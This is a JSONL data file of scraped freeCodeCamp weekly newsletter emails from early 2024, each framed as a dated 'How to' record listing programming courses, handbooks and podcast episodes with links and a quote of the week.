{"id": "gh_94a848fbe0c4", "question": "How to: Apr 12, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn Backend development by coding 3 full-stack projects with Python. Prolific freeCodeCamp teacher Tomi Tokko will take you step-by-step through building: an AI blog tool, a functional clone of Netflix, and a Spotify-like music platform. You'll learn how to use the powerful Django webdev framework, along with PostgreSQL databases and Tailwind CSS. This course is a big undertaking. But Tomi makes it enjoyable and accessible for beginners. If you can put in the time to complete this, you'll gain experience with an entire stack of relevant tools. (10 hour YouTube course): https://www.freecodecamp.org/news/backend-web-development-three-projects\n\n2. Jabrils is an experienced game developer who makes hilarious videos about his projects. He's also taught a popular programming course on freeCodeCamp. I interviewed him on this week's freeCodeCamp podcast about AI, anime, and his new turn-based fighting game. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/indie-game-dev-jabrils-freecodecamp-podcast-118/\n\n3. Learn how to turn your Figma designs into working code. Ania Kubów is one of freeCodeCamp's most beloved teachers. And in this course, she showcases the power of generative AI. She'll walk you through taking a Figma design of an Airbnb-style website and converting it into a fully-functional app. She'll also show you how to add authentication and deploy it to the cloud. (90-minute YouTube course): https://www.freecodecamp.org/news/ai-web-development-tutorial-figma-designs\n\n4. GitHub recently launched 4 professional certifications. And this comprehensive guide will help you prepare to pass first of these – the GitHub Foundations exam. Chris Williams has used Git extensively over the decades while working as a software engineer and cloud architect. He breaks down key Git concepts and makes them much easier to learn. (2-hour read): https://www.freecodecamp.org/news/github-foundations-certified-exam-prep-guide/\n\n5. And speaking of Git, if you have Spanish-speaking friends, tell them that freeCodeCamp just published a new Spanish-language Git course. It covers basic version control concepts like repositories, commits, and branches. And it even teaches you more advanced techniques like cherry picking. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-git-in-spanish-git-course-for-beginners/\n\nQuote of the Week: *\"If you don't follow your curiosity, you won't end up where you deserve to be.\"* — Jabrils on his journey into coding and gamedev, on this week's freeCodeCamp Podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740340"}
{"id": "gh_810841202cf5", "question": "How to: Apr 5, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. In an era of powerful off-the-shelf AI tools, there's something to be said for building your own AI from scratch. And that's what you'll learn how to do in this beginner course. Dr. Radu teaches computer science at a university in Finland, and is one of freeCodeCamp's most popular instructors. He'll show you how to manually tweak neural network parameters so you can teach a car how to drive itself through a Grand Theft Auto-like sandbox playground. (4 hour YouTube course): https://www.freecodecamp.org/news/understand-ai-and-neural-networks-by-manually-adjusting-paramaters/\n\n2. Learn how to code your own playable Super Nintendo-style developer portfolio website. Instead of just reading your résumé, visitors can walk around a Legend of Zelda-like cabin and explore your work. This tutorial includes all the sprites, tiles, and other pixel art assets you need to build the finished website. Practice your JavaScript skills while building an interactive experience you can share with friends and potential employers. (2 hour YouTube course): https://www.freecodecamp.org/news/create-a-developer-portfolio-as-a-2d-game/\n\n3. Learn Git fundamentals. freeCodeCamp just published this new handbook that will teach you how to get things done with a version control system. You'll learn how to set up your first code repository, create branches, commit code, and push changes to production. You can code along at home with this book's many tutorials, and bookmark it for future reference. (full-length handbook): https://www.freecodecamp.org/news/learn-git-basics/\n\n4. Learn the latest version of the popular React Router JavaScript library. This course will teach you how to build Single Page Apps where your users can navigate from one React view to another without the page refreshing. You'll also get practice defining routes, passing parameters, and managing state transitions. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-react-router-v6-course\n\n5. On this week's freeCodeCamp Podcast, I interview 100Devs founder Leon Noel. Growing up, Leon felt he needed to become a doctor in order to be considered successful. But his interest in coding inspired him to drop out of Yale and build software tools for scientists. He went through a startup accelerator, taught coding in his community, and ultimately built a Discord server with 60,000 people learning to code together. We talk about the science behind learning, and what approaches have helped his students the most. We even talk about Jazz pianist Thelonious Monk, and Leon's love of the animated X-Men show. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/100devs-founder-leon-noel-freecodecamp-podcast-interview/\n\nQuote of the Week: *\"I wrote nearly a thousand computer programs while preparing this material, because I find that I don't understand things unless I try to program them.\"* — Donald Knuth on all the code he wrote from scratch in researching his classic book “The Art of Computer Programming”", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740352"}
{"id": "gh_e454391c197f", "question": "How to: Mar 29, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn to build apps with the popular Nest.js full-stack JavaScript framework. In this intermediate course, you'll code your own back end for a Spotify-like app. You'll learn how to deploy a Node.js API to the web. And you'll build out all the necessary database and authentication features along the way. (Note that Nest.js is similar to Next.js, but Nest.js uses TypeScript and is heavily inspired by Angular. freeCodeCamp also has comprehensive Next.js courses if you want to learn that as well.) (12 hour YouTube course): https://www.freecodecamp.org/news/comprehensive-nestjs-course/\n\n2. You may have heard the term “no-code” before. Essentially these types of tools are “not only code” because you can still write custom code to run on top of them. This said, these tools do make it dramatically easier for both developers and non-developers to get things done. This new course is taught by one of freeCodeCamp's most popular instructors, Ania Kubów. She'll teach you how to automate boring tasks by leveraging AI tools and creating efficient automation pipelines. (3 hour YouTube course): https://www.freecodecamp.org/news/automate-boring-tasks-no-code-automation-course\n\n3. Kanban task management boards were invented at Toyota way back in the 1940s. I speak Chinese and a little Japanese, and I can tell you that the Chinese characters in the word “Kanban” translate to “look board” – something you can look at to quickly understand what's going on with a project. You may have used popular Kanban tools like Trello. But have you ever coded your own Kanban? Well, today's the day. This project-oriented tutorial will teach you how to use React, Next.js, Firebase, Tailwind CSS, and other modern webdev tools. (90 minute read): https://www.freecodecamp.org/news/build-full-stack-app-with-typescript-nextjs-redux-toolkit-firebase/\n\n4. Learn how to do hard-core data analysis and visualization using Google's stack of freely available tools: Sheets, BigQuery, Colab, and Looker Studio. This beginner-friendly course is taught by a seasoned data analyst. He'll walk you through each of these tools, and show you how to pipe your data from one place to the other. You'll walk away with insights you can apply to accomplish your practical day-to-day goals. (3 hour YouTube course): https://www.freecodecamp.org/news/data-analytics-with-google-stack/\n\n5. In this week's episode of the freeCodeCamp Podcast, I interview Jessica Lord – AKA JLord. You may not have heard of her, but you probably use her code every day. She's worked as a software engineer for more than a decade at companies like GitHub and Glitch. Among her many accomplishments, she created the Electron team at GitHub. Electron is a library for building desktop apps using browser technologies. If you've used the desktop version of Slack, Figma, or VS Code, you've used Electron. We had such a fun time talking about her journey from architecture student to city hall to working at the highest levels of tech. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/podcast-jlord-jessica-lord/\n\nJoke of the Week: *\"Me: I'm afraid of JavaScript keywords. Therapist: tell me about THIS. Me: Aghhh!\"* — Carla Notarobot, Software Engineer and Bad Joke Sharer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740363"}
{"id": "gh_5371e919680c", "question": "How to: Mar 22, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a massive TypeScript course to help you learn the art of statically-typed JavaScript. Most scripting languages like JavaScript and Python are dynamically-typed. But this causes so many additional coding errors. By sticking with static types – like Java and C++ do – JavaScript developers can save so much headache. This beginner course is taught by legendary coding instructor John Smilga. I love his no-nonsense teaching style and the way he makes even advanced concepts easier to understand. And you can apply what you're learning by coding along at home and building your own ecommerce platform project in TypeScript. (10 hour YouTube course): https://www.freecodecamp.org/news/learn-typescript-for-practical-projects\n\n2. On this week's podcast, I interview Phoebe Voong-Fadel about her childhood as the daughter of refugees, and how she self-studied coding and became a professional developer at the age of 36. Phoebe worked from age 12 at her parent's Chinese take-out restaurant. After college, the high cost of childcare forced her to leave her career so she could raise her two kids. After two years of teaching herself to code using freeCodeCamp, she got her first job as a developer. (1 hour listen in your browser or favorite podcast app): https://www.freecodecamp.org/news/stay-at-home-mom-to-developer-podcast/\n\n3. How can two people communicate securely through an insecure channel? That is a fundamental challenge in cryptography. One approach is by using the Diffie-Hellman Key Exchange algorithm. freeCodeCamp just published a handbook that will teach you how to leverage Diffie-Hellman to protect your data in transit, as it moves from between clients and servers. This handbook dives deep into the math that makes this possible, and uses tons of diagrams to explain the theory. It also explores older solutions, such as Hash-based Message Authentication Code. And you'll immediately put all this new knowledge to use by building a secure messaging project. (full-length handbook): https://www.freecodecamp.org/news/hmac-diffie-hellman-in-node/\n\n4. Spring Boot is a popular web development framework for Java, and it's used by tons of big companies like Walmart, General Motors, and Chase. Dan Vega is a prolific teacher of Java. He developed this new course to help more people learn the latest version of Spring Boot so they can build enterprise-grade apps. His passion for Java really comes through in this course. (3.5 hour YouTube course): https://www.freecodecamp.org/news/learn-app-development-with-spring-boot-3/\n\n5. Learn Microsoft's ASP.NET web development framework by building 3 projects. You'll start off this course by learning some C# and .NET fundamentals while coding a menu app. Then you'll dive into some advanced features while building your own clone of Google Docs. Finally, you'll bring everything together by building a payment app. Along the way, you'll get familiar with Microsoft's powerful Visual Studio coding environment. (2.5 hour YouTube course): https://www.freecodecamp.org/news/master-asp-net-core-by-building-three-projects/\n\nQuote of the Week: *\"‘TypeScript is silly because it just gets turned back into typeless code when you hit compile.’ Oh man do I have some upsetting news about C++ for you.\"* — Jules Glegg, Game Developer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740383"}
{"id": "gh_88468f53cff8", "question": "How to: Mar 15, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive roadmap for learning Back-End Development. You'll start off by learning full-stack JavaScript with Node.js. Then you'll learn how to use Django to build a Python back end. After building several mini-projects, you'll dive deep into database administration with SQL. You'll then build your own APIs, write tests for them, and secure them using OWASP best practices. This roadmap will also teach you Architecture and DevOps concepts, Docker, Redis, and the mighty NGINX. (70 hour roadmap of YouTube courses): https://www.freecodecamp.org/news/back-end-developer\n\n2. Learn the algorithms that come up most frequently in employers' coding interviews. This new course will teach you how to use JavaScript to solve interview questions like Spiral Matrix, the Pyramid String Pattern, and the infamous Fizz-Buzz. (2 hour YouTube course): https://www.freecodecamp.org/news/top-10-javascript-algorithms-for-coding-challenges/\n\n3. On this week's freeCodeCamp Podcast I interview Cassidy Williams about her climb from Microsoft intern to Amazon software engineer to startup CTO. Cassidy's famous for her many developer memes and funny coding videos. In this blunt, un-edited conversation, she shares a ton of career tips – including some that will be especially helpful for women entering the field. (2 hour listen in your browser or favorite podcast app): https://www.freecodecamp.org/news/podcast-cassidy-williams-cassidoo/\n\n4. Learn how to localize your websites and apps into many world languages. Of course, anyone can just drop in a translation plugin. But if you want your users to have a good experience, you should create bespoke translations that resonate with native speakers of those languages. This course will introduce you to a powerful translation crowdsourcing tool used by many websites and apps – including freeCodeCamp. You'll learn how to combine machine translation with the intuition of native speakers to quickly craft translations that sound natural. Then you'll learn how to use the front-end libraries necessary to get those translations in front of the right users. (8 hour YouTube course): https://www.freecodecamp.org/news/localize-websites-with-crowdin/\n\n5. And speaking of localization, tell your Spanish-speaking friends: freeCodeCamp just published a comprehensive Tailwind CSS course taught by David Ruiz, a Front-End Developer and native Spanish speaker. We've been publishing tons of Spanish-language courses to help Spanish speakers around the world, and this is just the beginning. (12 hour YouTube course): https://www.freecodecamp.org/news/learn-tailwind-css-in-spanish-full-course/\n\nQuote of the Week: *\"In the particular is contained the universal.\"* — James Joyce, Irish novelist and poet", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740393"}
{"id": "gh_b54e2a385633", "question": "How to: Mar 8, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn the C# programming language. This course will teach you C# syntax, data structures, Object Oriented Programming concepts, and more. Then you'll apply this knowledge by coding a variety of mini-projects throughout the course. (8 hour YouTube course): https://www.freecodecamp.org/news/learn-c-sharp-programming/\n\n2. Prolific freeCodeCamp author Nathan Sebhastian just published his React for Beginners Handbook. You can read the full book and learn how to code React-powered JavaScript apps. Along the way you'll learn about Components, Props, States, Events, and even Network Requests. (full-length handbook): https://www.freecodecamp.org/news/react-for-beginners-handbook/\n\n3. This new Machine Learning course will give you a clear roadmap toward building your own AIs. Data Scientist Tatev Aslanyan teaches this Python course. She covers key statistical concepts like Logistic Regression, Outlier Detection, Correlation Analysis, and the Bias-Variance Trade-Off. She also shares some common career paths for working in the field of Machine Learning. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-machine-learning-in-2024/\n\n4. But you don't have to learn a ton of Statistics and Machine Learning to get more out of AI. You can first focus on just getting better at talking to AI. This new Prompt Engineering Handbook will give you practical tips for getting better images, text, and code out of Large Language Models like GPT-4. (full-length handbook): https://www.freecodecamp.org/news/advanced-prompt-engineering-handbook/\n\n5. In this week's episode of the freeCodeCamp podcast, I interview education charity founder Seth Goldin. He's a computer science student at Yale and has taught several popular freeCodeCamp courses. We talk about the future of education, and the risks and opportunities presented by powerful AI systems like ChatGPT. During this fun, casual conversation, we make sure to explain all the specialized terminology as it comes up. And like most of our episodes, this podcast is 100% OK to listen to around kids. (2 hour listen in your browser or favorite podcast app): https://www.freecodecamp.org/news/podcast-ai-and-the-future-of-education-with-seth-goldin/\n\nJoke of the Week: *\"Why do Java developers wear glasses? Because they can't C#.\"", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740402"}
{"id": "gh_4466b23c566d", "question": "How to: Mar 1, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Generative AI is a type of Artificial Intelligence that creates new content based on its training data, rather than just returning a pre-programmed response. You may have tried creating text or images using models like GPT-4, Gemini, or the open source Llama 2. But how do these models actually work? This in-depth freeCodeCamp course will teach you the underlying Machine Learning concepts that you can use to create your own models. And it'll show you how to leverage popular tools like Langchain, Vector Databases, Hugging Face, and more. (30 hour YouTube course): https://www.freecodecamp.org/news/learn-generative-ai-in/\n\n2. One Generative AI model that just came out is Google's new Gemini model. And freeCodeCamp instructor Ania Kubów just finished her comprehensive course showcasing Gemini's many features. You'll learn how Gemini works under the hood, and about its \"multimodal\" functionalities like image-to-text, sound-to-text, and even text-to-video. The course culminates in grabbing an API key and coding along with Ania to build your own AI Code Buddy chatbot project. (1.5 hour YouTube course): https://www.freecodecamp.org/news/google-gemini-course-for-beginners/\n\n3. And if that wasn't enough AI courses for you, Microsoft recently started offering a professional certification in AI fundamentals. This course – taught by CTO and prolific freeCodeCamp contributor Andrew Brown – will help prepare you for the exam. You'll learn about classical AI models, Machine Learning pipelines, Azure Cognitive Services, and more. (4 hour YouTube course): https://www.freecodecamp.org/news/azure-data-fundamentals-certification-ai-900-pass-the-exam-with-this-free-4-hour-course/\n\n4. freeCodeCamp just published another full-length handbook – this time on Regular Expressions. RegEx are one of the most powerful – and most confusing – features of modern programming languages. You can use RegEx to search through data, validate user input, and even find complex patterns within text. This handbook will teach you key concepts like anchors, grouping, metacharacters, and lookahead. And you'll learn a lot of advanced JavaScript RegEx techniques, too. (full-length handbook): https://www.freecodecamp.org/news/regex-in-javascript/\n\n5. Serverless Architecture is a popular approach toward building apps in 2024. Despite the name, there are still servers in a data center somewhere. This isn't magic. But the tools abstract the servers away for you. In this intermediate JavaScript course, Software Engineer Justin Mitchel will teach you how to take a simple Node.js app and run it on AWS Lambda with a serverless Postgres database. He'll even show you how to automate deployment using GitHub Actions and Vercel. (4 hour YouTube course): https://www.freecodecamp.org/news/serverless-node-js-tutorial/\n\nAlso, on this week's podcast I interviewed an emerging star in the Machine Learning community: Logan Kilpatrick. The day he started working at Open AI, ChatGPT was brand new and hit its first 1 million users. We talk about Logan's journey from the suburbs of Chicago to the heart of Silicon Valley, his work at NASA, and his many freeCodeCamp tutorials on the Julia programming language. (2 hour listen in your browser or favorite podcast app): https://www.freecodecamp.org/news/podcast-chatgpt-open-ai-logan-kilpatrick/\n\nQuote of the Week: *\"The plural of regex is regrets.\"* — Steve, a Brooklyn-based Golang developer and reluctant user of Regular Expressions", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740414"}
{"id": "gh_899187d20ad6", "question": "How to: Feb 23, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Data Structures and Algorithms are tools that developers use to solve problems. DS&A are a huge chunk of what you learn in a computer science degree program. And they come up all the time in developer job interviews. This in-depth course is taught by a Google engineer, and will teach you the key concepts of Time Complexity, Space Complexity, and Asymptotic Notation. Then you'll get tons of practice by coding dozens of the most common DS&A using the popular Java programming language. (48 hour YouTube course): https://www.freecodecamp.org/news/learn-data-structures-and-algorithms-2/\n\n2. Many of the recent breakthroughs in AI are thanks to advances in Deep Learning. In this intermediate-level handbook, Data Scientist Tatev Aslanyan will teach you the fundamentals of Deep Learning and Artificial Neural Networks. She'll give you a solid foundation that you can use as a springboard into the more advanced areas of machine learning. You'll learn about Optimization Algorithms, Vanishing Gradient Problems, Sequence Modeling, and more. (full-length handbook): https://www.freecodecamp.org/news/deep-learning-fundamentals-handbook-start-a-career-in-ai/\n\n3. The Document Object Model (DOM) is like a big Christmas tree that you hang ornament-like HTML elements on. This front-end development handbook will teach you how the DOM works, and how you can use it to make interactive web pages. You'll learn about DOM Traversal, Class Manipulation, Event Bubbling, and other key concepts. (full-length handbook): https://www.freecodecamp.org/news/javascript-in-the-browser-dom-and-events/\n\n4. On this week's episode of the freeCodeCamp Podcast, I interview Jessica Wilkins, an orchestral musician from Los Angeles turned software engineer. We talk about how ridiculously competitive the world of classical music is, and how it gave her the mental toughness that she needed to learn to code. Jessica ultimately turned down contracts from Disney and other music industry titans so that she could focus on transitioning into tech. She was a prolific volunteer contributor to the freeCodeCamp codebase and core curriculum, and now works on our team. I think you'll dig our conversation – especially if you're interested in the overlap between music and technology. (2.5 hour listen in your browser or favorite podcast app): https://www.freecodecamp.org/news/podcast-jessica-wilkins-classical-music-learning-to-code/\n\n5. Finally, if you have Spanish-speaking friends, tell them about this new CSS Flexbox course that we just published. freeCodeCamp now has tons of courses in Spanish, along with a weekly Spanish podcast – all available on our freeCodeCamp Español channel. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-css-flexbox-in-spanish-course-for-beginners/\n\nQuote of the Week: *\"Less than 10% of code has to do with the ostensible purpose of a system. The rest deals with input-output, data validation, data structure maintenance, and other housekeeping.\"* — Mary Shaw, Software Engineer and Carnegie Mellon Computer Science Professor", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740425"}
{"id": "gh_16f8d22bebdf", "question": "How to: Feb 16, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn how to use JavaScript to create art with code. More and more contemporary artists are using math and programming to create digital art and interactive experiences. This course is taught by artist and software engineer Patt Vira. She'll show you how to use the popular p5.js library. You can code along at home and build 5 beginner art projects. (2 hour YouTube course): https://www.freecodecamp.org/news/art-of-coding-with-p5js/\n\n2. It's hard to predict the exact order in which things will happen in life. That's certainly the case in software. Thankfully, developers have pioneered a more flexible approach called Asynchronous Programming. And JavaScript is especially well-equipped for async programming thanks to its special Promise objects. freeCodeCamp just published this JavaScript Promises handbook to teach you common async patterns. You'll also learn about error handling, promise chaining, and async anti-patterns to avoid. (full-length handbook): https://www.freecodecamp.org/news/the-javascript-promises-handbook/\n\n3. Code your own product landing page using SveltKit. Software Engineer James McArthur will teach you all about Svelt, SveltKit, Tailwind CSS, and the benefits of Server-Side Rendering. He'll even show you how to deploy your site to the web, and add a modern CI/CD pipeline. This course will give you a good mix of theory and practice. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-sveltekit-full-course/\n\n4. Learn how to code your own video player that runs right in your browser. This in-depth tutorial will teach you how to use powerful tools like Tailwind CSS and Vite. You'll also learn some good old-fashioned JavaScript. This is an excellent project-oriented tutorial for intermediate learners. (1 hour read): https://www.freecodecamp.org/news/build-a-custom-video-player-using-javascript-and-tailwind-css/\n\n5. On this week's freeCodeCamp Podcast, I interview developer and Scrimba CEO Per Borgen. We talk about Europe's tech startup scene and the emerging field of AI Engineering. Per is a fellow founder whom I've known for nearly a decade, and we had a fun time catching up. I hope you're enjoying the podcast and learning a lot from these thoughtful devs I'm having as guests. (1 hour YouTube video or you can listen in your favorite podcast app): https://www.freecodecamp.org/news/podcast-ai-engineering-scrimba-ceo-per-borgan/\n\nQuote of the Week: *\"I think we'd all feel much better if we instead saw bad code as a form of contemporary art. Unused functions? Surrealism. Mixing tabs and spaces? Postmodern. My code isn't spaghetti, it's avant-garde.\"* — Cain Maddox, Game Developer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740435"}
{"id": "gh_48117ff862d5", "question": "How to: Feb 9, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. This new freeCodeCamp course will walk you step-by-step through coding 25 different front-end React projects. I've always said: the best way to improve your coding skills is to code a lot. Well, this course will build up your JavaScript muscle memory, and help you internalize key concepts through repetition. Projects include: the classic Tic Tac Toe game, a recipe app, an image slider, an expense tracker, and even a full-blown blog. Dive in and get some reps. (10 hour YouTube course): https://www.freecodecamp.org/news/master-react-by-building-25-projects/\n\n2. freeCodeCamp alum Zubin Pratap worked as a corporate lawyer for years. But deep down inside, he knew he wanted to get into software development. After years of starting – and stopping – learning to code, he eventually became a developer. He even worked as a software engineer at Google. Zubin created this career change course to help other folks learn how to transition into tech as well. In this course, he busts common myths around learning to program. He also shares open industry secrets, and gives you a framework for mapping out your path into tech. (3 hour YouTube course): https://www.freecodecamp.org/news/career-change-to-code-guide/\n\n3. Gavin Lon has been a C# developer for two decades, writing software for companies around London. And now he's distilled his C# wisdom and his love of the programming language into this comprehensive book. Over the past few years, freeCodeCamp Press has published more than 100 freely available books that you can read and bookmark as a reference. And this is one of our most ambitious books. It explores C# data types, operators, classes, structs, inheritance, abstraction, events, reflection, and even asynchronous programming. In short, if you want to learn C#, read Gavin's book. (full-length book): https://www.freecodecamp.org/news/learn-csharp-book/\n\n4. Roughly 1 out of every 7 Americans lives with a disability. As developers, we should keep these folks in mind when building our apps. Thankfully, there's a well-established field called Accessibility (sometimes shortened to “a11y” because there are 11 letters in the word that fall between the A and the Y). This nuts-and-bolts freeCodeCamp course will teach you about Web Content Accessibility Guidelines, Accessible Rich Internet Applications, Semantic HTML, and other tools for your toolbox. (2 hour YouTube course): https://www.freecodecamp.org/news/how-to-make-your-web-sites-accessible/\n\n5. On this week's freeCodeCamp Podcast, I interview the creator of one of the most successful open source projects ever. Robby Russell first released the Oh My Zsh command line tool 15 years ago. We talk about his web development consultancy, which has built projects for Nike and other Portland-area companies. We also talk about his career-long obsession with code maintainability, and his post-rock band. (2 hour watch on YouTube, or listen in your favorite podcast app): https://www.freecodecamp.org/news/podcast-oh-my-zsh-creator-and-ceo-robby-russell/\n\nQuote of the Week: *\"I tried to teach myself to code THREE times. In 2014, in 2015, and in 2017. And all three times I quit because I tried to jump too high, set myself up for failure, and then assumed I was not smart enough. But actually, I had just tried to run before I’d learned to walk.\"* — Zubin Pratap, freeCodeCamp alum who went on to become a software engineer at Google", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740447"}
{"id": "gh_7afb27732771", "question": "How to: Feb 2, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. My friend Andrew Brown is a CTO who has passed practically every cloud certification exam under the sun. Within weeks of GitHub publishing their new official certs, Andrew has already studied, passed the exam, and prepared this course to help you do the same. If you're considering earning a professional cert to demonstrate your proficiency in Git and GitHub, this course is for you. (10 hour YouTube course): https://www.freecodecamp.org/news/pass-the-github-foundations-certification-course/\n\n2. Among many of my web developer friends, a new set of tools is emerging as a standard: Tailwind CSS, Next.js, React, and TypeScript. And you can learn all of these by coding along at home with this beginner course. You'll use each of these tools to build your own weather app. (2 hour YouTube course): https://www.freecodecamp.org/news/beginner-web-dev-tutorial-build-a-weather-app-with-next-js-typescript/\n\n3. And if you want even more JavaScript practice, this tutorial is for you. You'll code your own browser-playable version of the 1991 classic \"Gorillas\" game, where two gorillas throw explosive bananas at one another. You'll use JavaScript for the game logic and core gameplay loop. And you'll use CSS and HTML Canvas for the graphics and animation. (2 hour read): https://www.freecodecamp.org/news/gorillas-game-in-javascript/\n\n4. Deep Learning is a profoundly useful approach to training AI. And if you want to work in the field of Machine Learning, this course will teach you how to answer 50 of the most common Deep Learning developer job interview questions. You'll learn about Neural Network Architecture, Activation Functions, Backpropogation, Gradient Descent, and more. (4 hour YouTube course): https://www.freecodecamp.org/news/ace-your-deep-learning-job-interview/\n\n5. My friends Jess and Ramón are starting a new cohort of their freely available bootcamp on Friday, February 9. You can join them and work through freeCodeCamp's new project-oriented JavaScript Algorithms and Data Structures certification. This is a great way to expand your skills alongside a kind, supportive community. (8 minute read): https://www.freecodecamp.org/news/free-webdev-and-js-bootcamps/\n\nQuote of the Week: *\"Git and I are in a committed relationship but it pushes me sometimes.\"* — Cassidy Williams, Software Engineer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740456"}
{"id": "gh_decc1f002521", "question": "How to: Jan 26, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn Python data analysis by working with astronomical data. In this course, you'll start by learning some basic Python coding skills. Then you'll use measurements from the stars to learn how to work with tabular data and visual data. You'll pick up tools like Pandas, Matplotlib, Seaborn, and Jupyter Notebook. You'll even apply some advanced image processing techniques. (6 hour YouTube course): https://www.freecodecamp.org/news/learn-data-analysis-and-visualization-with-python-using-astrongomical-data/\n\n2. And if you want to learn even more Python, freeCodeCamp just published an entire handbook on the art and science of Python debugging. You'll learn how to interpret common Python error messages. You'll also learn common debugging techniques like Logging, Assertions, Exception Handling, and Unit Testing. Along the way, you'll use Code Linters, Analyzers, and other powerful code editor tools. (full-length handbook): https://www.freecodecamp.org/news/python-debugging-handbook/\n\n3. OpenAI just released their new Assistants API to help you build your own personal AI assistants. And this project-oriented course will show you how to code up some minions that can do your bidding. You'll learn how to use Python, Streamlit, and the Assistants API to code your own news summarizer project and your own study buddy app. (4 hour YouTube course): https://www.freecodecamp.org/news/create-ai-assistants-with-openais-assistants-api/\n\n4. Learn LangChain by coding and deploying 6 AI projects. You'll use 3 popular Large Language Models: GPT-4, Google Gemini, and the open source Llama 2. Along the way, you'll build a blog post generator, a multilingual invoice extractor, and a chatbot that can summarize PDFs for you. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-langchain-and-gen-ai-by-building-6-projects/\n\n5. This week on the freeCodeCamp Podcast, I interview Beau Carnes, who oversees the freeCodeCamp community YouTube channel. Over the past 5 years, Beau has taught dozens of coding tutorials and helped curate more than 1,000 courses. We talk about his transition from high school special education teacher to software engineer. He shares the story of how he earned his second degree in just 6 months while raising 3 kids and running a stilt-walking service. This is my first video podcast, so you can actually watch me and Beau talk while you listen. Or you can just listen the old-fashioned way in your browser or podcast app of choice. (1 hour listen): https://www.freecodecamp.org/news/podcast-biggest-youtube-programming-channel-beau-carnes\n\nQuote of the Week: *\"Thanks to advances in hardware and software, our computational capability to model and interpret this deluge of [astronomical] data has grown tremendously... The confluence of ideas and instruments is stronger than ever.\"* — Dr. Priyamvada Natarajan, Yale professor, on the growing importance of data analysis in her field of Astronomy", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740466"}
